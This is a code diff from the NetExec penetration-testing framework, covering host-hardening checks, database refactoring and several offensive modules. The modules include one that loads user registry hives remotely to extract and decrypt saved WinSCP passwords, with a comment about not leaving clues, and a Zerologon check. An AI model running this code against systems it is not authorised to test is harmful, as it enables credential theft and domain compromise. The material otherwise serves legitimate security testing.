ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
]
# Add check to conf_checks table if missing
@@ -252,7 +247,7 @@ class HostChecker:
if host_id is not None:
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
def check_registry(self, *specs, options=None, stop_on_error=False):
def check_registry(self, *specs, options=None):
"""
Perform checks that only require to compare values in the registry with expected values, according to the specs
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
@@ -270,7 +265,6 @@ class HostChecker:
try:
if len(spec) == 3:
(key, value_name, expected_value) = spec
op = operator.eq
elif len(spec) == 4:
(key, value_name, expected_value, op) = spec
else:
@@ -278,7 +272,7 @@ class HostChecker:
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
return ok, reasons
if op == operator.eq:
@@ -318,9 +312,6 @@ class HostChecker:
else:
ok = False
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
if stop_on_error:
ok = None
return ok, reasons
continue
if op(value, expected_value):
@@ -492,77 +483,8 @@ class HostChecker:
return success, reasons
def get_exclusions(self, key_name):
exclusions = []
try:
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
for _, value_name, _ in values:
exclusions.append(value_name)
except Exception:
self.context.log.debug("No defender exclusion policies")
return len(exclusions), exclusions
def check_defender_exclusion(self, *spec, options=None):
try:
if len(spec) == 2:
(policy_key_name, key_name) = spec
else:
ok = False
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
return ok, reasons
reasons = []
success = True
count, exclusions_p = self.get_exclusions(policy_key_name)
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
count_k, exclusions_k = self.get_exclusions(key_name)
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
count += count_k
if count > 0:
success = False
return success, reasons
def check_defender_service(self):
ok = True
raised = False
reasons = []
try:
service_config, service_status = self.get_service("windefend", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("windefend service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("windefend service not running")
except DCERPCException as e:
ok = True
raised = True
reasons = [f"windefend service check error({e})"]
if ok is False or raised is True:
try:
service_config, service_status = self.get_service("sense", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("sense service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("sense service not running")
except DCERPCException as e:
ok = True
raised = True
reasons.append(f"sense service check error({e})")
if raised is True:
reasons_save = reasons
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
ok, reasons = self.check_registry(args)
reasons.extend(reasons_save)
return ok, reasons
# Methods for getting values from the remote registry #
#######################################################
def _open_root_key(self, dce, connection, root_key):
ans = None
@@ -612,7 +534,7 @@ class HostChecker:
break
return subkeys
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
def reg_query_value(self, dce, connection, keyName, valueName=None):
"""Query remote registry data for a given registry value"""
def subkey_values(subkey_handle):
@@ -665,16 +587,17 @@ class HostChecker:
subkey_handle = ans["phkResult"]
if valueName is None and all_value is False:
if valueName is None:
return get_value(subkey_handle)[2]
elif valueName is None and all_value is True:
return subkey_values(subkey_handle)
else:
for _, name, data in subkey_values(subkey_handle):
if name.upper() == valueName.upper():
return data
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
# Methods for getting values from SAMR and SCM #
################################################
def get_service(self, service_name, connection):
"""Get the service status and configuration for specified service"""
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
@@ -723,6 +646,10 @@ class HostChecker:
return file_listing
# Comparison operators #
########################
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
+1 -1
View File
@@ -51,7 +51,7 @@ class NXCModule:
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+114 -55
View File
@@ -51,19 +51,25 @@ class NXCModule:
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def user_object_to_name_mapper(self, context, connection, all_user_objects):
def user_object_to_name_mapper(self, context, connection, allUserObjects):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[user_object] = user_profile_path.split("\\")[-1]
self.userDict[userObject] = user_profile_path.split("\\")[-1]
finally:
remote_ops.finish()
@@ -115,14 +121,22 @@ class NXCModule:
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registry_session_extractor(self, context, connection, user_object, sessionName):
def registry_session_extractor(self, context, connection, userObject, sessionName):
"""Extract Session information from registry"""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
key_handle = ans["phkResult"]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
@@ -148,13 +162,18 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -176,13 +195,22 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -194,65 +222,86 @@ class NXCModule:
remote_ops.finish()
return user_objects
def load_missing_users(self, context, connection, unloaded_user_objects):
def load_missing_users(self, context, connection, unloadedUserObjects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
for user_object in unloaded_user_objects:
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
user_profile_path + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def unload_missing_users(self, context, connection, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Unload Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in unloaded_user_objects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def check_masterpassword_set(self, context, connection, user_object):
use_master_password = False
def check_masterpassword_set(self, connection, userObject):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
key_handle = ans["phkResult"]
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("Security configuration registry not found, no master passwords set at all.")
else:
context.log.exception(e)
finally:
remote_ops.finish()
return use_master_password
@@ -260,7 +309,7 @@ class NXCModule:
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
@@ -272,29 +321,39 @@ class NXCModule:
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each user_object
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
for userObject in all_user_objects:
try:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.check_masterpassword_set(context, connection, user_object):
if self.check_masterpassword_set(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in session_names:
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
self.print_creds(
context,
self.registry_session_extractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
+4 -6
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,15 +43,13 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for _attempt in range(MAX_ATTEMPTS):
+28 -16
View File
@@ -23,8 +23,6 @@ from os.path import join as path_join
from sys import exit
from rich.progress import Progress
import platform
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
# Increase file_limit to prevent error "Too many open files"
if platform.system() != "Windows":
@@ -141,7 +139,7 @@ def main():
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object: {protocol_object}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -174,15 +172,13 @@ def main():
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
proto_module_paths = []
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
if not module.opsec_safe:
@@ -190,12 +186,22 @@ def main():
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
ans = input(
highlight(
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
@@ -206,18 +212,24 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
-5
View File
@@ -512,11 +512,6 @@ class NXCDBMenu(cmd.Cmd):
def do_exit(line):
sys.exit()
@staticmethod
def do_EOF(line):
sys.exit()
@staticmethod
def help_exit():
help_string = """
+1 -2
View File
@@ -8,7 +8,6 @@ def parse_result_attributes(ldap_response):
continue
attribute_map = {}
for attribute in entry["attributes"]:
val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components]
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
parsed_response.append(attribute_map)
return parsed_response
+2 -3
View File
@@ -3,12 +3,11 @@ import sys
import nxc
NXC_PATH = os.path.expanduser("~/.nxc")
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
elif hasattr(sys, "getandroidapilevel"):
if hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
else:
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
+1 -7
View File
@@ -25,13 +25,7 @@ class ftp(connection):
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
pass
def enum_host_info(self):
welcome = self.conn.getwelcome()
+48 -29
View File
@@ -1,23 +1,31 @@
import sys
from sqlalchemy import Table, select, delete, func
from pathlib import Path
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, delete, func
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
self.sess = Session()
@staticmethod
def db_schema(db_conn):
@@ -72,13 +80,26 @@ class database(BaseDB):
)
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.sess.execute(table.delete())
def add_host(self, host, port, banner):
"""Check if this host is already in the DB, if not add it"""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
# create new host
if not results:
@@ -112,7 +133,7 @@ class database(BaseDB):
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts) # .scalar()
self.sess.execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -122,9 +143,8 @@ class database(BaseDB):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.db_execute(q).all()
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.sess.execute(q).all()
# add new credential
if not results:
@@ -150,11 +170,10 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
set_=update_columns_users)
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
self.sess.execute(q_users, credentials) # .scalar()
# hacky way to get cred_id since we can't use returning() yet
if len(credentials) == 1:
@@ -168,7 +187,7 @@ class database(BaseDB):
for cred_id in creds_id:
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
self.sess.execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -176,7 +195,7 @@ class database(BaseDB):
self.CredentialsTable.c.id == credential_id,
self.CredentialsTable.c.password is not None,
)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_credential(self, username, password):
@@ -184,7 +203,7 @@ class database(BaseDB):
self.CredentialsTable.c.username == username,
self.CredentialsTable.c.password == password,
)
results = self.db_execute(q).first()
results = self.sess.execute(q).first()
if results is not None:
return results.id
@@ -201,12 +220,12 @@ class database(BaseDB):
else:
q = select(self.CredentialsTable)
return self.db_execute(q).all()
return self.sess.execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
@@ -216,26 +235,26 @@ class database(BaseDB):
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
results = self.sess.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by host
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.host.like(like_term))
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
return results
def is_user_valid(self, cred_id):
"""Check if this User ID is valid."""
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
results = self.db_execute(q).all()
results = self.sess.execute(q).all()
return len(results) > 0
def get_user(self, username):
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
return self.db_execute(q).all()
return self.sess.execute(q).all()
def get_users(self, filter_term=None):
q = select(self.CredentialsTable)
@@ -246,14 +265,14 @@ class database(BaseDB):
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
return self.db_execute(q).all()
return self.sess.execute(q).all()
def add_loggedin_relation(self, cred_id, host_id):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.credid == cred_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.db_execute(relation_query).all()
results = self.sess.execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -263,7 +282,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.db_execute(q, [relation]) # .scalar()
self.sess.execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
